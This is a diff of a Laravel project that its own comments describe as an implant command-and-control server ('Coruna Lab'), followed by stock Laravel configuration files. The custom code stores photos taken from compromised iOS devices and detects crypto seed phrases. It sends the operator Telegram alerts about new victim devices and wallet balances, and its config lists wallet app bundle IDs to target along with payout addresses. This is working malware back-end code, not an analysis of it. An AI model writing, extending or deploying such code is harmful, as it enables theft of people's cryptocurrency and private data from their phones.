$sha = hash('sha256', $bytes);
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
'size' => strlen($bytes),
|
||||
'counters_json' => $counters,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function extractDeviceModel(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['deviceModel'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
|
||||
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
|
||||
return $payload['m'];
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info)) {
|
||||
foreach (['productType', 'machine', 'model'] as $key) {
|
||||
if (! empty($info[$key]) && is_string($info[$key])) {
|
||||
return $info[$key];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function extractIosVersion(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
// /api/user/get uses `v` for iOS version
|
||||
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
|
||||
return $payload['v'];
|
||||
}
|
||||
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
$sv = $payload['systemVersion'] ?? null;
|
||||
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
|
||||
return $sv['ProductVersion'];
|
||||
}
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function looksLikeMnemonic(string $value): bool
|
||||
{
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
|
||||
return in_array(count($words), [12, 15, 18, 21, 24], true)
|
||||
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
|
||||
}
|
||||
|
||||
private function normalizeAddressRows(array $data): array
|
||||
{
|
||||
if (array_is_list($data)) {
|
||||
return array_values(array_filter($data, 'is_array'));
|
||||
}
|
||||
if (isset($data['address'])) {
|
||||
return [$data];
|
||||
}
|
||||
$out = [];
|
||||
foreach ($data as $value) {
|
||||
if (is_array($value) && isset($value['address'])) {
|
||||
$out[] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TelegramNotifier
|
||||
{
|
||||
public function enabled(): bool
|
||||
{
|
||||
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
|
||||
}
|
||||
|
||||
public function send(string $text): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
$token = config('coruna.telegram.bot_token');
|
||||
$chatId = config('coruna.telegram.owner_chat_id');
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
"https://api.telegram.org/bot{$token}/sendMessage",
|
||||
[
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'disable_web_page_preview' => true,
|
||||
]
|
||||
);
|
||||
|
||||
return $resp->successful();
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New device',
|
||||
'id: '.$deviceId,
|
||||
'ios: '.($ios ?: '—'),
|
||||
'ip: '.($ip ?: '—'),
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New wallet address',
|
||||
'device: '.$deviceId,
|
||||
'chain: '.($chain ?: '—'),
|
||||
'address: '.$address,
|
||||
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
|
||||
]));
|
||||
}
|
||||
}
|
||||
Executable
+18
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env php
|
||||
<?php
|
||||
|
||||
use Illuminate\Foundation\Application;
|
||||
use Symfony\Component\Console\Input\ArgvInput;
|
||||
|
||||
define('LARAVEL_START', microtime(true));
|
||||
|
||||
// Register the Composer autoloader...
|
||||
require __DIR__.'/vendor/autoload.php';
|
||||
|
||||
// Bootstrap Laravel and handle the command...
|
||||
/** @var Application $app */
|
||||
$app = require_once __DIR__.'/bootstrap/app.php';
|
||||
|
||||
$status = $app->handleCommand(new ArgvInput);
|
||||
|
||||
exit($status);
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Foundation\Application;
|
||||
use Illuminate\Foundation\Configuration\Exceptions;
|
||||
use Illuminate\Foundation\Configuration\Middleware;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
return Application::configure(basePath: dirname(__DIR__))
|
||||
->withRouting(
|
||||
web: __DIR__.'/../routes/web.php',
|
||||
then: function () {
|
||||
// Implant C2: no CSRF / session
|
||||
require __DIR__.'/../routes/c2.php';
|
||||
|
||||
// Admin UI: session + CSRF
|
||||
Route::middleware('web')->group(base_path('routes/admin.php'));
|
||||
},
|
||||
commands: __DIR__.'/../routes/console.php',
|
||||
health: '/up',
|
||||
)
|
||||
->withMiddleware(function (Middleware $middleware): void {
|
||||
$middleware->validateCsrfTokens(except: [
|
||||
'api/*',
|
||||
'link/*',
|
||||
]);
|
||||
|
||||
// Admin uses auth:admin; there is no default "login" route.
|
||||
$middleware->redirectGuestsTo(fn () => route('admin.login'));
|
||||
$middleware->redirectUsersTo(fn () => route('admin.home'));
|
||||
})
|
||||
->withExceptions(function (Exceptions $exceptions): void {
|
||||
//
|
||||
})->create();
|
||||
@@ -0,0 +1,2 @@
|
||||
*
|
||||
!.gitignore
|
||||
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Providers\AppServiceProvider;
|
||||
|
||||
return [
|
||||
AppServiceProvider::class,
|
||||
];
|
||||
@@ -0,0 +1,90 @@
|
||||
{
|
||||
"$schema": "https://getcomposer.org/schema.json",
|
||||
"name": "laravel/laravel",
|
||||
"type": "project",
|
||||
"description": "The skeleton application for the Laravel framework.",
|
||||
"keywords": ["laravel", "framework"],
|
||||
"license": "MIT",
|
||||
"require": {
|
||||
"php": "^8.2",
|
||||
"guzzlehttp/guzzle": "^7.15",
|
||||
"laravel/framework": "^12.0",
|
||||
"laravel/tinker": "^2.10.1"
|
||||
},
|
||||
"require-dev": {
|
||||
"fakerphp/faker": "^1.23",
|
||||
"laravel/pail": "^1.2.2",
|
||||
"laravel/pint": "^1.24",
|
||||
"laravel/sail": "^1.41",
|
||||
"mockery/mockery": "^1.6",
|
||||
"nunomaduro/collision": "^8.6",
|
||||
"phpunit/phpunit": "^11.5.50"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"App\\": "app/",
|
||||
"Database\\Factories\\": "database/factories/",
|
||||
"Database\\Seeders\\": "database/seeders/"
|
||||
},
|
||||
"files": [
|
||||
"app/Helpers.php"
|
||||
]
|
||||
},
|
||||
"autoload-dev": {
|
||||
"psr-4": {
|
||||
"Tests\\": "tests/"
|
||||
}
|
||||
},
|
||||
"scripts": {
|
||||
"setup": [
|
||||
"composer install",
|
||||
"@php -r \"file_exists('.env') || copy('.env.example', '.env');\"",
|
||||
"@php artisan key:generate",
|
||||
"@php artisan migrate --force",
|
||||
"npm install",
|
||||
"npm run build"
|
||||
],
|
||||
"dev": [
|
||||
"Composer\\Config::disableProcessTimeout",
|
||||
"npx concurrently -c \"#93c5fd,#c4b5fd,#fb7185,#fdba74\" \"php artisan serve\" \"php artisan queue:listen --tries=1 --timeout=0\" \"php artisan pail --timeout=0\" \"npm run dev\" --names=server,queue,logs,vite --kill-others"
|
||||
],
|
||||
"test": [
|
||||
"@php artisan config:clear --ansi",
|
||||
"@php artisan test"
|
||||
],
|
||||
"post-autoload-dump": [
|
||||
"Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
|
||||
"@php artisan package:discover --ansi"
|
||||
],
|
||||
"post-update-cmd": [
|
||||
"@php artisan vendor:publish --tag=laravel-assets --ansi --force"
|
||||
],
|
||||
"post-root-package-install": [
|
||||
"@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
|
||||
],
|
||||
"post-create-project-cmd": [
|
||||
"@php artisan key:generate --ansi",
|
||||
"@php -r \"file_exists('database/database.sqlite') || touch('database/database.sqlite');\"",
|
||||
"@php artisan migrate --graceful --ansi"
|
||||
],
|
||||
"pre-package-uninstall": [
|
||||
"Illuminate\\Foundation\\ComposerScripts::prePackageUninstall"
|
||||
]
|
||||
},
|
||||
"extra": {
|
||||
"laravel": {
|
||||
"dont-discover": []
|
||||
}
|
||||
},
|
||||
"config": {
|
||||
"optimize-autoloader": true,
|
||||
"preferred-install": "dist",
|
||||
"sort-packages": true,
|
||||
"allow-plugins": {
|
||||
"pestphp/pest-plugin": true,
|
||||
"php-http/discovery": true
|
||||
}
|
||||
},
|
||||
"minimum-stability": "stable",
|
||||
"prefer-stable": true
|
||||
}
|
||||
Generated
+8389
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,126 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Name
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This value is the name of your application, which will be used when the
|
||||
| framework needs to place the application's name in a notification or
|
||||
| other UI elements where an application name needs to be displayed.
|
||||
|
|
||||
*/
|
||||
|
||||
'name' => env('APP_NAME', 'Laravel'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Environment
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This value determines the "environment" your application is currently
|
||||
| running in. This may determine how you prefer to configure various
|
||||
| services the application utilizes. Set this in your ".env" file.
|
||||
|
|
||||
*/
|
||||
|
||||
'env' => env('APP_ENV', 'production'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Debug Mode
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When your application is in debug mode, detailed error messages with
|
||||
| stack traces will be shown on every error that occurs within your
|
||||
| application. If disabled, a simple generic error page is shown.
|
||||
|
|
||||
*/
|
||||
|
||||
'debug' => (bool) env('APP_DEBUG', false),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application URL
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This URL is used by the console to properly generate URLs when using
|
||||
| the Artisan command line tool. You should set this to the root of
|
||||
| the application so that it's available within Artisan commands.
|
||||
|
|
||||
*/
|
||||
|
||||
'url' => env('APP_URL', 'http://localhost'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Timezone
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify the default timezone for your application, which
|
||||
| will be used by the PHP date and date-time functions. The timezone
|
||||
| is set to "UTC" by default as it is suitable for most use cases.
|
||||
|
|
||||
*/
|
||||
|
||||
'timezone' => 'UTC',
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Application Locale Configuration
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The application locale determines the default locale that will be used
|
||||
| by Laravel's translation / localization methods. This option can be
|
||||
| set to any locale for which you plan to have translation strings.
|
||||
|
|
||||
*/
|
||||
|
||||
'locale' => env('APP_LOCALE', 'en'),
|
||||
|
||||
'fallback_locale' => env('APP_FALLBACK_LOCALE', 'en'),
|
||||
|
||||
'faker_locale' => env('APP_FAKER_LOCALE', 'en_US'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Encryption Key
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This key is utilized by Laravel's encryption services and should be set
|
||||
| to a random, 32 character string to ensure that all encrypted values
|
||||
| are secure. You should do this prior to deploying the application.
|
||||
|
|
||||
*/
|
||||
|
||||
'cipher' => 'AES-256-CBC',
|
||||
|
||||
'key' => env('APP_KEY'),
|
||||
|
||||
'previous_keys' => [
|
||||
...array_filter(
|
||||
explode(',', (string) env('APP_PREVIOUS_KEYS', ''))
|
||||
),
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Maintenance Mode Driver
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| These configuration options determine the driver used to determine and
|
||||
| manage Laravel's "maintenance mode" status. The "cache" driver will
|
||||
| allow maintenance mode to be controlled across multiple machines.
|
||||
|
|
||||
| Supported drivers: "file", "cache"
|
||||
|
|
||||
*/
|
||||
|
||||
'maintenance' => [
|
||||
'driver' => env('APP_MAINTENANCE_DRIVER', 'file'),
|
||||
'store' => env('APP_MAINTENANCE_STORE', 'database'),
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\User;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Authentication Defaults
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option defines the default authentication "guard" and password
|
||||
| reset "broker" for your application. You may change these values
|
||||
| as required, but they're a perfect start for most applications.
|
||||
|
|
||||
*/
|
||||
|
||||
'defaults' => [
|
||||
'guard' => env('AUTH_GUARD', 'web'),
|
||||
'passwords' => env('AUTH_PASSWORD_BROKER', 'users'),
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Authentication Guards
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Next, you may define every authentication guard for your application.
|
||||
| Of course, a great default configuration has been defined for you
|
||||
| which utilizes session storage plus the Eloquent user provider.
|
||||
|
|
||||
| All authentication guards have a user provider, which defines how the
|
||||
| users are actually retrieved out of your database or other storage
|
||||
| system used by the application. Typically, Eloquent is utilized.
|
||||
|
|
||||
| Supported: "session"
|
||||
|
|
||||
*/
|
||||
|
||||
'guards' => [
|
||||
'web' => [
|
||||
'driver' => 'session',
|
||||
'provider' => 'users',
|
||||
],
|
||||
'admin' => [
|
||||
'driver' => 'session',
|
||||
'provider' => 'admins',
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| User Providers
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| All authentication guards have a user provider, which defines how the
|
||||
| users are actually retrieved out of your database or other storage
|
||||
| system used by the application. Typically, Eloquent is utilized.
|
||||
|
|
||||
| If you have multiple user tables or models you may configure multiple
|
||||
| providers to represent the model / table. These providers may then
|
||||
| be assigned to any extra authentication guards you have defined.
|
||||
|
|
||||
| Supported: "database", "eloquent"
|
||||
|
|
||||
*/
|
||||
|
||||
'providers' => [
|
||||
'users' => [
|
||||
'driver' => 'eloquent',
|
||||
'model' => env('AUTH_MODEL', User::class),
|
||||
],
|
||||
'admins' => [
|
||||
'driver' => 'eloquent',
|
||||
'model' => Admin::class,
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Resetting Passwords
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| These configuration options specify the behavior of Laravel's password
|
||||
| reset functionality, including the table utilized for token storage
|
||||
| and the user provider that is invoked to actually retrieve users.
|
||||
|
|
||||
| The expiry time is the number of minutes that each reset token will be
|
||||
| considered valid. This security feature keeps tokens short-lived so
|
||||
| they have less time to be guessed. You may change this as needed.
|
||||
|
|
||||
| The throttle setting is the number of seconds a user must wait before
|
||||
| generating more password reset tokens. This prevents the user from
|
||||
| quickly generating a very large amount of password reset tokens.
|
||||
|
|
||||
*/
|
||||
|
||||
'passwords' => [
|
||||
'users' => [
|
||||
'provider' => 'users',
|
||||
'table' => env('AUTH_PASSWORD_RESET_TOKEN_TABLE', 'password_reset_tokens'),
|
||||
'expire' => 60,
|
||||
'throttle' => 60,
|
||||
],
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Password Confirmation Timeout
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may define the number of seconds before a password confirmation
|
||||
| window expires and users are asked to re-enter their password via the
|
||||
| confirmation screen. By default, the timeout lasts for three hours.
|
||||
|
|
||||
*/
|
||||
|
||||
'password_timeout' => env('AUTH_PASSWORD_TIMEOUT', 10800),
|
||||
|
||||
];
|
||||
@@ -0,0 +1,117 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Cache Store
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option controls the default cache store that will be used by the
|
||||
| framework. This connection is utilized if another isn't explicitly
|
||||
| specified when running a cache operation inside the application.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('CACHE_STORE', 'database'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Cache Stores
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may define all of the cache "stores" for your application as
|
||||
| well as their drivers. You may even define multiple stores for the
|
||||
| same cache driver to group types of items stored in your caches.
|
||||
|
|
||||
| Supported drivers: "array", "database", "file", "memcached",
|
||||
| "redis", "dynamodb", "octane",
|
||||
| "failover", "null"
|
||||
|
|
||||
*/
|
||||
|
||||
'stores' => [
|
||||
|
||||
'array' => [
|
||||
'driver' => 'array',
|
||||
'serialize' => false,
|
||||
],
|
||||
|
||||
'database' => [
|
||||
'driver' => 'database',
|
||||
'connection' => env('DB_CACHE_CONNECTION'),
|
||||
'table' => env('DB_CACHE_TABLE', 'cache'),
|
||||
'lock_connection' => env('DB_CACHE_LOCK_CONNECTION'),
|
||||
'lock_table' => env('DB_CACHE_LOCK_TABLE'),
|
||||
],
|
||||
|
||||
'file' => [
|
||||
'driver' => 'file',
|
||||
'path' => storage_path('framework/cache/data'),
|
||||
'lock_path' => storage_path('framework/cache/data'),
|
||||
],
|
||||
|
||||
'memcached' => [
|
||||
'driver' => 'memcached',
|
||||
'persistent_id' => env('MEMCACHED_PERSISTENT_ID'),
|
||||
'sasl' => [
|
||||
env('MEMCACHED_USERNAME'),
|
||||
env('MEMCACHED_PASSWORD'),
|
||||
],
|
||||
'options' => [
|
||||
// Memcached::OPT_CONNECT_TIMEOUT => 2000,
|
||||
],
|
||||
'servers' => [
|
||||
[
|
||||
'host' => env('MEMCACHED_HOST', '127.0.0.1'),
|
||||
'port' => env('MEMCACHED_PORT', 11211),
|
||||
'weight' => 100,
|
||||
],
|
||||
],
|
||||
],
|
||||
|
||||
'redis' => [
|
||||
'driver' => 'redis',
|
||||
'connection' => env('REDIS_CACHE_CONNECTION', 'cache'),
|
||||
'lock_connection' => env('REDIS_CACHE_LOCK_CONNECTION', 'default'),
|
||||
],
|
||||
|
||||
'dynamodb' => [
|
||||
'driver' => 'dynamodb',
|
||||
'key' => env('AWS_ACCESS_KEY_ID'),
|
||||
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
||||
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
|
||||
'table' => env('DYNAMODB_CACHE_TABLE', 'cache'),
|
||||
'endpoint' => env('DYNAMODB_ENDPOINT'),
|
||||
],
|
||||
|
||||
'octane' => [
|
||||
'driver' => 'octane',
|
||||
],
|
||||
|
||||
'failover' => [
|
||||
'driver' => 'failover',
|
||||
'stores' => [
|
||||
'database',
|
||||
'array',
|
||||
],
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Cache Key Prefix
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When utilizing the APC, database, memcached, Redis, and DynamoDB cache
|
||||
| stores, there might be other applications using the same cache. For
|
||||
| that reason, you may prefix every cache key to avoid collisions.
|
||||
|
|
||||
*/
|
||||
|
||||
'prefix' => env('CACHE_PREFIX', Str::slug((string) env('APP_NAME', 'laravel')).'-cache-'),
|
||||
|
||||
];
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
||||
'seven_zip' => env('CORUNA_7Z_BIN', '/opt/homebrew/opt/p7zip/bin/7z'),
|
||||
'telegram' => [
|
||||
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
|
||||
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
|
||||
],
|
||||
// reserved — no transfer logic wired
|
||||
'payout' => [
|
||||
'eth' => env('PAYOUT_ETH'),
|
||||
'btc' => env('PAYOUT_BTC'),
|
||||
'tron' => env('PAYOUT_TRON'),
|
||||
'sol' => env('PAYOUT_SOL'),
|
||||
],
|
||||
'wallet_bundles' => [
|
||||
'im.token.app',
|
||||
'io.metamask',
|
||||
'com.wallet.crypto.trustapp',
|
||||
'com.okex.wallet',
|
||||
'com.coinbase.wallet',
|
||||
'com.exodus',
|
||||
'app.phantom',
|
||||
'com.uniswap.mobile',
|
||||
'com.tronlinkpro.wallet',
|
||||
'com.mytonwallet.app',
|
||||
'com.tonhub.app',
|
||||
'com.tonkeeper.app',
|
||||
'vip.mytokenpocket',
|
||||
'com.bitkeep.wallet',
|
||||
'com.bitpie',
|
||||
'com.coin98',
|
||||
'com.solflare.mobile',
|
||||
'com.roninchain.wallet',
|
||||
'com.krystal.wallet',
|
||||
],
|
||||
];
|
||||
@@ -0,0 +1,184 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Str;
|
||||
use Pdo\Mysql;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Database Connection Name
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify which of the database connections below you wish
|
||||
| to use as your default connection for database operations. This is
|
||||
| the connection which will be utilized unless another connection
|
||||
| is explicitly specified when you execute a query / statement.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('DB_CONNECTION', 'sqlite'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Database Connections
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Below are all of the database connections defined for your application.
|
||||
| An example configuration is provided for each database system which
|
||||
| is supported by Laravel. You're free to add / remove connections.
|
||||
|
|
||||
*/
|
||||
|
||||
'connections' => [
|
||||
|
||||
'sqlite' => [
|
||||
'driver' => 'sqlite',
|
||||
'url' => env('DB_URL'),
|
||||
'database' => env('DB_DATABASE', database_path('database.sqlite')),
|
||||
'prefix' => '',
|
||||
'foreign_key_constraints' => env('DB_FOREIGN_KEYS', true),
|
||||
'busy_timeout' => null,
|
||||
'journal_mode' => null,
|
||||
'synchronous' => null,
|
||||
'transaction_mode' => 'DEFERRED',
|
||||
],
|
||||
|
||||
'mysql' => [
|
||||
'driver' => 'mysql',
|
||||
'url' => env('DB_URL'),
|
||||
'host' => env('DB_HOST', '127.0.0.1'),
|
||||
'port' => env('DB_PORT', '3306'),
|
||||
'database' => env('DB_DATABASE', 'laravel'),
|
||||
'username' => env('DB_USERNAME', 'root'),
|
||||
'password' => env('DB_PASSWORD', ''),
|
||||
'unix_socket' => env('DB_SOCKET', ''),
|
||||
'charset' => env('DB_CHARSET', 'utf8mb4'),
|
||||
'collation' => env('DB_COLLATION', 'utf8mb4_unicode_ci'),
|
||||
'prefix' => '',
|
||||
'prefix_indexes' => true,
|
||||
'strict' => true,
|
||||
'engine' => null,
|
||||
'options' => extension_loaded('pdo_mysql') ? array_filter([
|
||||
(PHP_VERSION_ID >= 80500 ? Mysql::ATTR_SSL_CA : PDO::MYSQL_ATTR_SSL_CA) => env('MYSQL_ATTR_SSL_CA'),
|
||||
]) : [],
|
||||
],
|
||||
|
||||
'mariadb' => [
|
||||
'driver' => 'mariadb',
|
||||
'url' => env('DB_URL'),
|
||||
'host' => env('DB_HOST', '127.0.0.1'),
|
||||
'port' => env('DB_PORT', '3306'),
|
||||
'database' => env('DB_DATABASE', 'laravel'),
|
||||
'username' => env('DB_USERNAME', 'root'),
|
||||
'password' => env('DB_PASSWORD', ''),
|
||||
'unix_socket' => env('DB_SOCKET', ''),
|
||||
'charset' => env('DB_CHARSET', 'utf8mb4'),
|
||||
'collation' => env('DB_COLLATION', 'utf8mb4_unicode_ci'),
|
||||
'prefix' => '',
|
||||
'prefix_indexes' => true,
|
||||
'strict' => true,
|
||||
'engine' => null,
|
||||
'options' => extension_loaded('pdo_mysql') ? array_filter([
|
||||
(PHP_VERSION_ID >= 80500 ? Mysql::ATTR_SSL_CA : PDO::MYSQL_ATTR_SSL_CA) => env('MYSQL_ATTR_SSL_CA'),
|
||||
]) : [],
|
||||
],
|
||||
|
||||
'pgsql' => [
|
||||
'driver' => 'pgsql',
|
||||
'url' => env('DB_URL'),
|
||||
'host' => env('DB_HOST', '127.0.0.1'),
|
||||
'port' => env('DB_PORT', '5432'),
|
||||
'database' => env('DB_DATABASE', 'laravel'),
|
||||
'username' => env('DB_USERNAME', 'root'),
|
||||
'password' => env('DB_PASSWORD', ''),
|
||||
'charset' => env('DB_CHARSET', 'utf8'),
|
||||
'prefix' => '',
|
||||
'prefix_indexes' => true,
|
||||
'search_path' => 'public',
|
||||
'sslmode' => env('DB_SSLMODE', 'prefer'),
|
||||
],
|
||||
|
||||
'sqlsrv' => [
|
||||
'driver' => 'sqlsrv',
|
||||
'url' => env('DB_URL'),
|
||||
'host' => env('DB_HOST', 'localhost'),
|
||||
'port' => env('DB_PORT', '1433'),
|
||||
'database' => env('DB_DATABASE', 'laravel'),
|
||||
'username' => env('DB_USERNAME', 'root'),
|
||||
'password' => env('DB_PASSWORD', ''),
|
||||
'charset' => env('DB_CHARSET', 'utf8'),
|
||||
'prefix' => '',
|
||||
'prefix_indexes' => true,
|
||||
// 'encrypt' => env('DB_ENCRYPT', 'yes'),
|
||||
// 'trust_server_certificate' => env('DB_TRUST_SERVER_CERTIFICATE', 'false'),
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Migration Repository Table
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This table keeps track of all the migrations that have already run for
|
||||
| your application. Using this information, we can determine which of
|
||||
| the migrations on disk haven't actually been run on the database.
|
||||
|
|
||||
*/
|
||||
|
||||
'migrations' => [
|
||||
'table' => 'migrations',
|
||||
'update_date_on_publish' => true,
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Redis Databases
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Redis is an open source, fast, and advanced key-value store that also
|
||||
| provides a richer body of commands than a typical key-value system
|
||||
| such as Memcached. You may define your connection settings here.
|
||||
|
|
||||
*/
|
||||
|
||||
'redis' => [
|
||||
|
||||
'client' => env('REDIS_CLIENT', 'phpredis'),
|
||||
|
||||
'options' => [
|
||||
'cluster' => env('REDIS_CLUSTER', 'redis'),
|
||||
'prefix' => env('REDIS_PREFIX', Str::slug((string) env('APP_NAME', 'laravel')).'-database-'),
|
||||
'persistent' => env('REDIS_PERSISTENT', false),
|
||||
],
|
||||
|
||||
'default' => [
|
||||
'url' => env('REDIS_URL'),
|
||||
'host' => env('REDIS_HOST', '127.0.0.1'),
|
||||
'username' => env('REDIS_USERNAME'),
|
||||
'password' => env('REDIS_PASSWORD'),
|
||||
'port' => env('REDIS_PORT', '6379'),
|
||||
'database' => env('REDIS_DB', '0'),
|
||||
'max_retries' => env('REDIS_MAX_RETRIES', 3),
|
||||
'backoff_algorithm' => env('REDIS_BACKOFF_ALGORITHM', 'decorrelated_jitter'),
|
||||
'backoff_base' => env('REDIS_BACKOFF_BASE', 100),
|
||||
'backoff_cap' => env('REDIS_BACKOFF_CAP', 1000),
|
||||
],
|
||||
|
||||
'cache' => [
|
||||
'url' => env('REDIS_URL'),
|
||||
'host' => env('REDIS_HOST', '127.0.0.1'),
|
||||
'username' => env('REDIS_USERNAME'),
|
||||
'password' => env('REDIS_PASSWORD'),
|
||||
'port' => env('REDIS_PORT', '6379'),
|
||||
'database' => env('REDIS_CACHE_DB', '1'),
|
||||
'max_retries' => env('REDIS_MAX_RETRIES', 3),
|
||||
'backoff_algorithm' => env('REDIS_BACKOFF_ALGORITHM', 'decorrelated_jitter'),
|
||||
'backoff_base' => env('REDIS_BACKOFF_BASE', 100),
|
||||
'backoff_cap' => env('REDIS_BACKOFF_CAP', 1000),
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Filesystem Disk
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify the default filesystem disk that should be used
|
||||
